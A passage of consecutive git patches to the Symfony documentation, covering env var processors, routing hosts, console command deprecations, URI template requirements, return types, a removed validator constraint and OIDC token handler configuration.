-                typed_env: '%env(defined:NO_FOO)%'
+                typed_env: '%env(defined:FOO)%'
 
         .. code-block:: xml
 
@@ -810,14 +811,14 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
                 <parameters>
-                    <parameter key="typed_env"'%env(defined:NO_FOO)%</parameter>
+                    <parameter key="typed_env"'%env(defined:FOO)%</parameter>
                 </parameters>
             </container>
 
         .. code-block:: php
 
             // config/services.php
-            $container->setParameter('typed_env', '%env(defined:NO_FOO)%');
+            $container->setParameter('typed_env', '%env(defined:FOO)%');
 
     .. versionadded:: 6.4
 

From 91cd0ea10cad55c5124b747c2234198f6f24dcf4 Mon Sep 17 00:00:00 2001
From: Gary PEGEOT <garypegeot@gmail.com>
Date: Thu, 29 Jun 2023 07:26:05 +0000
Subject: [PATCH 3436/5766] fix: small typo

---
 configuration/env_var_processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 885099eceec..098d7da6285 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -787,7 +787,7 @@ Symfony provides the following env var processors:
         The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
 
 ``env(defined:NO_FOO)``
-    Evaluates to ``true`` if the env var exists and its value is from ``''``
+    Evaluates to ``true`` if the env var exists and its value differs from ``''``
     (an empty string) or ``null``; it returns ``false`` otherwise.
 
     .. configuration-block::

From 543ec6e9d0511efe74bb3938d97bacfe08c160b9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Jun 2023 09:35:25 +0200
Subject: [PATCH 3437/5766] Minor reword

---
 configuration/env_var_processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 098d7da6285..387c10bfb82 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -787,7 +787,7 @@ Symfony provides the following env var processors:
         The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
 
 ``env(defined:NO_FOO)``
-    Evaluates to ``true`` if the env var exists and its value differs from ``''``
+    Evaluates to ``true`` if the env var exists and its value is not ``''``
     (an empty string) or ``null``; it returns ``false`` otherwise.
 
     .. configuration-block::

From 8c0c806ce5c1f5f16da4d73033b81644a04addd8 Mon Sep 17 00:00:00 2001
From: 6e0d0a <73163496+6e0d0a@users.noreply.github.com>
Date: Thu, 29 Jun 2023 12:43:42 +0200
Subject: [PATCH 3438/5766] Update routing.rst

In the i18n configuration you have a small mistake with the host configuration.
---
 routing.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/routing.rst b/routing.rst
index 56f969cc331..3c08ccef960 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2429,8 +2429,8 @@ locale.
             resource: '../../src/Controller/'
             type: annotation
             host:
-                en: 'https://www.example.com'
-                nl: 'https://www.example.nl'
+                en: 'www.example.com'
+                nl: 'www.example.nl'
 
     .. code-block:: xml
 
@@ -2441,8 +2441,8 @@ locale.
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
             <import resource="../../src/Controller/" type="annotation">
-                <host locale="en">https://www.example.com</host>
-                <host locale="nl">https://www.example.nl</host>
+                <host locale="en">www.example.com</host>
+                <host locale="nl">www.example.nl</host>
             </import>
         </routes>
 
@@ -2453,8 +2453,8 @@ locale.
         return function (RoutingConfigurator $routes) {
             $routes->import('../../src/Controller/', 'annotation')
                 ->host([
-                    'en' => 'https://www.example.com',
-                    'nl' => 'https://www.example.nl',
+                    'en' => 'www.example.com',
+                    'nl' => 'www.example.nl',
                 ])
             ;
         };

From fc94456249d1d888c656d235a669f7b4fb3ce4f8 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Thu, 29 Jun 2023 19:50:07 +0200
Subject: [PATCH 3439/5766] [Form][Validator] Add new unique entity validation
 on form type

---
 reference/constraints/UniqueEntity.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 59840bbfe9b..f0bf8c6879a 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -126,6 +126,29 @@ between all of the rows in your user table:
             }
         }
 
+        // src/Form/Type/UserType.php
+        namespace App\Form\Type;
+
+        // ...
+        // DON'T forget the following use statement!!!
+        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
+
+        class UserType extends AbstractType
+        {
+            // ...
+
+            public function configureOptions(OptionsResolver $resolver): void
+            {
+                $resolver->setDefaults([
+                    // ...
+                    'data_class' => User::class,
+                    'constraints' => [
+                        new UniqueEntity(fields: ['email']),
+                    ],
+                ]);
+            }
+        }
+
 .. caution::
 
     This constraint doesn't provide any protection against `race conditions`_.

From 2d674cf6abd9716fbfc71e3c00e6f54f56a1f78f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 30 Jun 2023 14:04:31 +0200
Subject: [PATCH 3440/5766] [Console] Remove occurrences of `$defaultName` and
 `$defaultDescription`

---
 console.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/console.rst b/console.rst
index 4038c16f83e..edac5545e9e 100644
--- a/console.rst
+++ b/console.rst
@@ -146,13 +146,12 @@ You can optionally define a description, help message and the
     // ...
     class CreateUserCommand extends Command
     {
-        // the command description shown when running "php bin/console list"
-        protected static $defaultDescription = 'Creates a new user.';
-
         // ...
         protected function configure(): void
         {
             $this
+                // the command description shown when running "php bin/console list"
+                ->setDescription('Creates a new user.')
                 // the command help shown when running the command with the "--help" option
                 ->setHelp('This command allows you to create a user...')
             ;
@@ -161,15 +160,16 @@ You can optionally define a description, help message and the
 
 .. tip::
 
-    Defining the ``$defaultDescription`` static property instead of using the
-    ``setDescription()`` method allows to get the command description without
+    Using the ``#[AsCommand]`` attribute to define a description instead of
+    using the ``setDescription()`` method allows to get the command description without
     instantiating its class. This makes the ``php bin/console list`` command run
     much faster.
 
     If you want to always run the ``list`` command fast, add the ``--short`` option
     to it (``php bin/console list --short``). This will avoid instantiating command
     classes, but it won't show any description for commands that use the
-    ``setDescription()`` method instead of the static property.
+    ``setDescription()`` method instead of the attribute to define the command
+    description.
 
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties
@@ -216,8 +216,6 @@ You can register the command by adding the ``AsCommand`` attribute to it::
     use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
 
-    // the "name" and "description" arguments of AsCommand replace the
-    // static $defaultName and $defaultDescription properties
     #[AsCommand(
         name: 'app:create-user',
         description: 'Creates a new user.',

From 61ec77422f224d524ec7e86eff96c1ed93860a19 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 30 Jun 2023 16:18:02 +0200
Subject: [PATCH 3441/5766] [Console] Deprecate `$defaultName` and
 `$defaultDescription`

---
 console.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/console.rst b/console.rst
index 4038c16f83e..eb7e2e99ec1 100644
--- a/console.rst
+++ b/console.rst
@@ -171,6 +171,12 @@ You can optionally define a description, help message and the
     classes, but it won't show any description for commands that use the
     ``setDescription()`` method instead of the static property.
 
+.. deprecated:: 6.1
+
+    The static property ``$defaultDescription`` was deprecated in Symfony 6.1.
+    Declare your command description with the ``#[AsCommand]`` attribute
+    instead.
+
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties
 first and then call to the parent constructor, to make those properties
@@ -234,6 +240,11 @@ If you can't use PHP attributes, register the command as a service and
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`.
 
+.. deprecated:: 6.1
+
+    The static property ``$defaultName`` was deprecated in Symfony 6.1.
+    Declare your command name with the ``#[AsCommand]`` attribute instead.
+
 Running the Command
 ~~~~~~~~~~~~~~~~~~~
 

From aa3973082f1fdce42081d02a9e05f510532eb738 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Jun 2023 16:23:56 +0200
Subject: [PATCH 3442/5766] [Form] Document a deprecation related to
 model_timezone

---
 reference/forms/types/options/model_timezone.rst.inc | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/reference/forms/types/options/model_timezone.rst.inc b/reference/forms/types/options/model_timezone.rst.inc
index 0ef0efe1b56..44050e89219 100644
--- a/reference/forms/types/options/model_timezone.rst.inc
+++ b/reference/forms/types/options/model_timezone.rst.inc
@@ -6,4 +6,10 @@
 Timezone that the input data is stored in. This must be one of the
 `PHP supported timezones`_.
 
+.. deprecated:: 6.4
+
+    Starting from Symfony 6.4, it's deprecated to pass ``DateTime`` or ``DateTimeImmutable``
+    values to this form field with a different timezone than the one configured with
+    the ``model_timezone`` option.
+
 .. _`PHP supported timezones`: https://www.php.net/manual/en/timezones.php

From 1a68fb07e9ecb73b108dad68183f04aaf2aae2ed Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 30 Jun 2023 18:05:09 +0200
Subject: [PATCH 3443/5766] [HttpKernel] Remove `ContainerAwareInterface`
 occurrence

---
 components/http_kernel.rst | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 90e0194f529..937028c28a4 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -258,18 +258,6 @@ on the request's information.
     b) A new instance of your controller class is instantiated with no
        constructor arguments.
 
-    c) If the controller implements :class:`Symfony\\Component\\DependencyInjection\\ContainerAwareInterface`,
-       ``setContainer()`` is called on the controller object and the container
-       is passed to it. This step is also specific to the  :class:`Symfony\\Bundle\\FrameworkBundle\\Controller\\ControllerResolver`
-       sub-class used by the Symfony Framework.
-
-.. deprecated:: 6.4
-
-    :class:`Symfony\\Component\\DependencyInjection\\ContainerAwareInterface` and
-    :class:`Symfony\\Component\\DependencyInjection\\ContainerAwareTrait` are
-    deprecated since Symfony 6.4. Dependency injection should be used instead to
-    access the service container.
-
 .. _component-http-kernel-kernel-controller:
 
 3) The ``kernel.controller`` Event

From e46a7a0a28d9740ed8590d4bc67522c644f8c3b7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 30 Jun 2023 19:48:14 +0200
Subject: [PATCH 3444/5766] Remove deprecated directive

---
 reference/forms/types/options/model_timezone.rst.inc | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/reference/forms/types/options/model_timezone.rst.inc b/reference/forms/types/options/model_timezone.rst.inc
index 44050e89219..0ef0efe1b56 100644
--- a/reference/forms/types/options/model_timezone.rst.inc
+++ b/reference/forms/types/options/model_timezone.rst.inc
@@ -6,10 +6,4 @@
 Timezone that the input data is stored in. This must be one of the
 `PHP supported timezones`_.
 
-.. deprecated:: 6.4
-
-    Starting from Symfony 6.4, it's deprecated to pass ``DateTime`` or ``DateTimeImmutable``
-    values to this form field with a different timezone than the one configured with
-    the ``model_timezone`` option.
-
 .. _`PHP supported timezones`: https://www.php.net/manual/en/timezones.php

From 40c513d61193e8679cfe472a6a8a6de464bcf1d6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Cl=C3=A9ment=20Michelet?= <clement.michelet@hephaist.io>
Date: Mon, 3 Jul 2023 08:41:48 +0200
Subject: [PATCH 3445/5766] [HttpClient] Add a note about requirement to use
 URI templates

Closes https://github.com/symfony/symfony-docs/issues/18480
---
 http_client.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 5f7f51f8a6a..3fe7f3864ed 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -946,6 +946,11 @@ If you want to define your own logic to handle variables of URI templates, you
 can do so by redefining the ``http_client.uri_template_expander`` alias. Your
 service must be invokable.
 
+.. note::
+
+    Support for URI template requires a vendor or to pass your own expander
+    ``\Closure`` implementation to expand the URI.
+
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient` was

From 7b48d6050ea38ee862ca5bad3d746b90cc74b430 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Jul 2023 16:59:05 +0200
Subject: [PATCH 3446/5766] Remove annotations from Creating Pages article

---
 page_creation.rst | 83 +++++++++++++----------------------------------
 setup.rst         |  1 +
 2 files changed, 24 insertions(+), 60 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 8e7bb902a6b..06b7bf4292a 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -7,13 +7,13 @@ Create your First Page in Symfony
 Creating a new page - whether it's an HTML page or a JSON endpoint - is a
 two-step process:
 
-#. **Create a route**: A route is the URL (e.g. ``/about``) to your page and
-   points to a controller;
-
 #. **Create a controller**: A controller is the PHP function you write that
    builds the page. You take the incoming request information and use it to
    create a Symfony ``Response`` object, which can hold HTML content, a JSON
-   string or even a binary file like an image or PDF.
+   string or even a binary file like an image or PDF;
+
+#. **Create a route**: A route is the URL (e.g. ``/about``) to your page and
+   points to a controller.
 
 .. admonition:: Screencast
     :class: screencast
@@ -55,47 +55,12 @@ random) number and prints it. To do that, create a "Controller" class and a
         }
     }
 
-Now you need to associate this controller function with a public URL (e.g. ``/lucky/number``)
-so that the ``number()`` method is called when a user browses to it. This association
-is defined by creating a **route** in the ``config/routes.yaml`` file:
-
-.. code-block:: yaml
-
-    # config/routes.yaml
-
-    # the "app_lucky_number" route name is not important yet
-    app_lucky_number:
-        path: /lucky/number
-        controller: App\Controller\LuckyController::number
-
-That's it! If you are using Symfony web server, try it out by going to: http://localhost:8000/lucky/number
-
-If you see a lucky number being printed back to you, congratulations! But before
-you run off to play the lottery, check out how this works. Remember the two steps
-to create a page?
-
-#. *Create a controller and a method*: This is a function where *you* build the page and ultimately
-   return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`
-   in their own section, including how to return JSON responses;
-
-#. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
-   page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
-   in its own section, including how to make *variable* URLs.
-
 .. _annotation-routes:
 
-Annotation Routes
------------------
-
-Instead of defining your route in YAML, Symfony also allows you to use *annotation*
-or *attribute* routes. Attributes are built-in in PHP starting from PHP 8. In earlier
-PHP versions you can use annotations. To do this, install the annotations package:
-
-.. code-block:: terminal
-
-    $ composer require annotations
-
-You can now add your route directly *above* the controller:
+Now you need to associate this controller function with a public URL (e.g. ``/lucky/number``)
+so that the ``number()`` method is called when a user browses to it. This association
+is defined with the ``#[Route]`` attribute (in PHP, `attributes`_ are used to add
+metadata to code):
 
 .. configuration-block::
 
@@ -115,27 +80,25 @@ You can now add your route directly *above* the controller:
             }
         }
 
-That's it! The page - http://localhost:8000/lucky/number will work exactly
-like before! Annotations/attributes are the recommended way to configure routes.
+That's it! If you are using Symfony web server, try it out by going to: http://localhost:8000/lucky/number
 
-.. _flex-quick-intro:
+.. tip::
 
-Auto-Installing Recipes with Symfony Flex
------------------------------------------
+    Symfony recommends defining routes as attributes to have the controller code
+    and its route configuration at the same location. However, if you prefer, you can
+    :doc:`define routes in separate files </routing>` using YAML, XML and PHP formats.
 
-You may not have noticed, but when you ran ``composer require annotations``, two
-special things happened, both thanks to a powerful Composer plugin called
-:ref:`Flex <symfony-flex>`.
+If you see a lucky number being printed back to you, congratulations! But before
+you run off to play the lottery, check out how this works. Remember the two steps
+to create a page?
 
-First, ``annotations`` isn't a real package name: it's an *alias* (i.e. shortcut)
-that Flex resolves to ``sensio/framework-extra-bundle``.
+#. *Create a controller and a method*: This is a function where *you* build the page and ultimately
+   return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`
+   in their own section, including how to return JSON responses;
 
-Second, after this package was downloaded, Flex runs a *recipe*, which is a
-set of automated instructions that tell Symfony how to integrate an external
-package. `Flex recipes`_ exist for many packages and have the ability
-to do a lot, like adding configuration files, creating directories, updating ``.gitignore``
-and adding a new config to your ``.env`` file. Flex *automates* the installation of
-packages so you can get back to coding.
+#. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
+   page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
+   in its own section, including how to make *variable* URLs.
 
 The bin/console Command
 -----------------------
@@ -343,4 +306,4 @@ Go Deeper with HTTP & Framework Fundamentals
 .. _`Twig`: https://twig.symfony.com
 .. _`Composer`: https://getcomposer.org
 .. _`Harmonious Development with Symfony`: https://symfonycasts.com/screencast/symfony/setup
-.. _`Flex recipes`: https://github.com/symfony/recipes/blob/flex/main/RECIPES.md
+.. _`attributes`: https://www.php.net/manual/en/language.attributes.overview.php
diff --git a/setup.rst b/setup.rst
index beb966d163a..51e60ab6fcd 100644
--- a/setup.rst
+++ b/setup.rst
@@ -147,6 +147,7 @@ Symfony Docker Integration
 If you'd like to use Docker with Symfony, see :doc:`/setup/docker`.
 
 .. _symfony-flex:
+.. _flex-quick-intro:
 
 Installing Packages
 -------------------

From 8192452bd22af78a1b85dd848e8c5a4043867396 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Jul 2023 17:44:44 +0200
Subject: [PATCH 3447/5766] Tweaks

---
 console.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/console.rst b/console.rst
index eb7e2e99ec1..77a0a3ee605 100644
--- a/console.rst
+++ b/console.rst
@@ -174,8 +174,8 @@ You can optionally define a description, help message and the
 .. deprecated:: 6.1
 
     The static property ``$defaultDescription`` was deprecated in Symfony 6.1.
-    Declare your command description with the ``#[AsCommand]`` attribute
-    instead.
+    Instead, use the ``#[AsCommand]`` attribute to define the optional command
+    description.
 
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties
@@ -243,7 +243,7 @@ this is already done for you, thanks to :ref:`autoconfiguration <services-autoco
 .. deprecated:: 6.1
 
     The static property ``$defaultName`` was deprecated in Symfony 6.1.
-    Declare your command name with the ``#[AsCommand]`` attribute instead.
+    Define your command name with the ``#[AsCommand]`` attribute instead.
 
 Running the Command
 ~~~~~~~~~~~~~~~~~~~

From c6b76d852c3a828369ab89e85b9ffd7052f6d541 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 4 Jul 2023 09:06:51 +0200
Subject: [PATCH 3448/5766] Improve return types

---
 doctrine/associations.rst             | 2 +-
 messenger/handler_results.rst         | 2 +-
 security/user_providers.rst           | 2 --
 service_container/injection_types.rst | 5 +++--
 4 files changed, 5 insertions(+), 6 deletions(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 64f763c9b6b..e1cd113ae22 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -228,7 +228,7 @@ class that will hold these objects:
             }
 
             /**
-             * @return Collection|Product[]
+             * @return Collection<int, Product>
              */
             public function getProducts(): Collection
             {
diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
index 059738a4e79..e7bae04cbea 100644
--- a/messenger/handler_results.rst
+++ b/messenger/handler_results.rst
@@ -90,7 +90,7 @@ wherever you need a query bus behavior instead of the ``MessageBusInterface``::
          *
          * @return mixed The handler returned value
          */
-        public function query($query)
+        public function query($query): mixed
         {
             return $this->handle($query);
         }
diff --git a/security/user_providers.rst b/security/user_providers.rst
index c23302ee9a1..fe88f0cdf9a 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -311,8 +311,6 @@ command will generate a nice skeleton to get you started::
          *
          * If your firewall is "stateless: true" (for a pure API), this
          * method is not called.
-         *
-         * @return UserInterface
          */
         public function refreshUser(UserInterface $user): UserInterface
         {
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 060a95bffc0..f1a6c80397b 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -180,8 +180,9 @@ In order to use this type of injection, don't forget to configure it:
 .. note::
 
     If you decide to use autowiring, this type of injection requires
-    that you add a ``@return static`` docblock in order for the container
-    to be capable of registering the method.
+    that you add a ``@return static`` docblock or the ``static`` return
+    type in order for the container to be capable of registering
+    the method.
 
 This approach is useful if you need to configure your service according to your needs,
 so, here's the advantages of immutable-setters:

From 59ce75fd37a517755ff89a0355751b1f7ab56c23 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Jul 2023 10:08:37 +0200
Subject: [PATCH 3449/5766] Reword

---
 http_client.rst | 16 +++++++++++-----
 1 file changed, 11 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 3fe7f3864ed..d5fa098eb90 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -891,6 +891,17 @@ a client that eases the use of URI templates, as described in the `RFC 6570`_::
         ],
     ]);
 
+Before using URI templates in your applications, you must install a third-party
+package that expands those URI templates to turn them into URLs:
+
+.. code-block:: terminal
+
+    $ composer require league/uri
+
+    # Symfony also supports the following URI template packages:
+    # composer require guzzlehttp/uri-template
+    # composer require rize/uri-template
+
 When using this client in the framework context, all existing HTTP clients
 are decorated by the :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient`.
 This means that URI template feature is enabled by default for all HTTP clients
@@ -946,11 +957,6 @@ If you want to define your own logic to handle variables of URI templates, you
 can do so by redefining the ``http_client.uri_template_expander`` alias. Your
 service must be invokable.
 
-.. note::
-
-    Support for URI template requires a vendor or to pass your own expander
-    ``\Closure`` implementation to expand the URI.
-
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient` was

From ba5059e10fa24b62501e79f0fd9f2e81ba321fb2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 4 Jul 2023 10:13:58 +0200
Subject: [PATCH 3450/5766] [ExpressionLanguage] `in` and `not in` operators
 are using strict comparison

---
 reference/formats/expression_language.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 18811c0ca44..ebb7574922c 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -352,12 +352,9 @@ For example::
 
 The ``$inGroup`` would evaluate to ``true``.
 
-.. deprecated:: 6.3
+.. note::
 
-    In Symfony versions previous to 6.3, ``in`` and ``not in`` operators
-    were using loose comparison. Using these operators with variables of
-    different types is now deprecated, and these operators will be using
-    strict comparison from Symfony 7.0.
+    The ``in`` and ``not in`` operators are using strict comparison.
 
 Numeric Operators
 ~~~~~~~~~~~~~~~~~

From b44d4c41f5cb0247639f745ec983c60b1328b531 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 4 Jul 2023 14:12:02 +0200
Subject: [PATCH 3451/5766] [Validator] Remove deprecated
 `ExpressionLanguageSyntax` constraint

---
 .../constraints/ExpressionLanguageSyntax.rst  | 127 ------------------
 reference/constraints/ExpressionSyntax.rst    |   6 -
 2 files changed, 133 deletions(-)
 delete mode 100644 reference/constraints/ExpressionLanguageSyntax.rst

diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
deleted file mode 100644
index f10956c4046..00000000000
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ /dev/null
@@ -1,127 +0,0 @@
-ExpressionLanguageSyntax
-========================
-
-.. deprecated:: 6.1
-
-    This constraint is deprecated since Symfony 6.1. Instead, use the
-    :doc:`ExpressionSyntax </reference/constraints/ExpressionSyntax>` constraint.
-
-This constraint checks that the value is valid as an `ExpressionLanguage`_
-expression.
-
-==========  ===================================================================
-Applies to  :ref:`property or method <validation-property-target>`
-Class       :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionLanguageSyntax`
-Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionLanguageSyntaxValidator`
-==========  ===================================================================
-
-Basic Usage
------------
-
-The following constraints ensure that:
-
-* the ``promotion`` property stores a value which is valid as an
-  ExpressionLanguage expression;
-* the ``shippingOptions`` property also ensures that the expression only uses
-  certain variables.
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            #[Assert\ExpressionLanguageSyntax]
-            protected string  $promotion;
-
-            #[Assert\ExpressionLanguageSyntax(
-                allowedVariables: ['user', 'shipping_centers'],
-            )]
-            protected string $shippingOptions;
-        }
-
-    .. code-block:: yaml
-
-        # config/validator/validation.yaml
-        App\Entity\Order:
-            properties:
-                promotion:
-                    - ExpressionLanguageSyntax: ~
-                shippingOptions:
-                    - ExpressionLanguageSyntax:
-                        allowedVariables: ['user', 'shipping_centers']
-
-    .. code-block:: xml
-
-        <!-- config/validator/validation.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
-
-            <class name="App\Entity\Order">
-                <property name="promotion">
-                    <constraint name="ExpressionLanguageSyntax"/>
-                </property>
-                <property name="shippingOptions">
-                    <constraint name="ExpressionLanguageSyntax">
-                        <option name="allowedVariables">
-                            <value>user</value>
-                            <value>shipping_centers</value>
-                        </option>
-                    </constraint>
-                </property>
-            </class>
-        </constraint-mapping>
-
-    .. code-block:: php
-
-        // src/Entity/Student.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-        use Symfony\Component\Validator\Mapping\ClassMetadata;
-
-        class Order
-        {
-            // ...
-
-            public static function loadValidatorMetadata(ClassMetadata $metadata): void
-            {
-                $metadata->addPropertyConstraint('promotion', new Assert\ExpressionLanguageSyntax());
-
-                $metadata->addPropertyConstraint('shippingOptions', new Assert\ExpressionLanguageSyntax([
-                    'allowedVariables' => ['user', 'shipping_centers'],
-                ]));
-            }
-        }
-
-Options
--------
-
-allowedVariables
-~~~~~~~~~~~~~~~~
-
-**type**: ``array`` or ``null`` **default**: ``null``
-
-If this option is defined, the expression can only use the variables whose names
-are included in this option. Unset this option or set its value to ``null`` to
-allow any variables.
-
-.. include:: /reference/constraints/_groups-option.rst.inc
-
-message
-~~~~~~~
-
-**type**: ``string`` **default**: ``This value should be a valid expression.``
-
-This is the message displayed when the validation fails.
-
-.. include:: /reference/constraints/_payload-option.rst.inc
-
-.. _`ExpressionLanguage`: https://symfony.com/components/ExpressionLanguage
diff --git a/reference/constraints/ExpressionSyntax.rst b/reference/constraints/ExpressionSyntax.rst
index 2a603eaa616..c1d086790c1 100644
--- a/reference/constraints/ExpressionSyntax.rst
+++ b/reference/constraints/ExpressionSyntax.rst
@@ -4,12 +4,6 @@ ExpressionSyntax
 This constraint checks that the value is valid as an `ExpressionLanguage`_
 expression.
 
-.. versionadded:: 6.1
-
-    This constraint was introduced in Symfony 6.1 and deprecates the previous
-    :doc:`ExpressionLanguageSyntax </reference/constraints/ExpressionLanguageSyntax>`
-    constraint.
-
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionSyntax`

From fc0b8994ec5e153c3fb8e2572c832a142d6cc30f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 4 Jul 2023 14:15:16 +0200
Subject: [PATCH 3452/5766] [Security] Remove `{username}` occurrence

---
 security/ldap.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/security/ldap.rst b/security/ldap.rst
index b2f5a3e753c..21ea66f480e 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -290,11 +290,6 @@ string will be replaced by the value of the ``uid_key`` configuration value
 (by default, ``sAMAccountName``), and the ``{user_identifier}`` string will be
 replaced by the user identified you are trying to load.
 
-.. deprecated:: 6.2
-
-    Starting from Symfony 6.2, the ``{username}`` string was deprecated in favor
-    of ``{user_identifier}``.
-
 For example, with a ``uid_key`` of ``uid``, and if you are trying to
 load the user ``fabpot``, the final string will be: ``(uid=fabpot)``.
 

From d922dcaffc6e66fb8dd9ca0d335a5ba0018dfcf4 Mon Sep 17 00:00:00 2001
From: Vincent Chalamon <407859+vincentchalamon@users.noreply.github.com>
Date: Tue, 30 May 2023 14:13:58 +0200
Subject: [PATCH 3453/5766] [Security] OIDC user info token handler client

---
 security/access_token.rst | 137 +++++++++++---------------------------
 1 file changed, 39 insertions(+), 98 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 6114d076637..bdc84e01fae 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -380,9 +380,7 @@ and retrieve the user info:
                 main:
                     access_token:
                         token_handler:
-                            oidc_user_info:
-                                client:
-                                    base_uri: https://www.example.com/realms/demo/protocol/openid-connect/userinfo
+                            oidc_user_info: https://www.example.com/realms/demo/protocol/openid-connect/userinfo
 
     .. code-block:: xml
 
@@ -399,11 +397,7 @@ and retrieve the user info:
             <config>
                 <firewall name="main">
                     <access-token>
-                        <token-handler>
-                            <oidc-user-info>
-                                <client base-uri="https://www.example.com/realms/demo/protocol/openid-connect/userinfo"/>
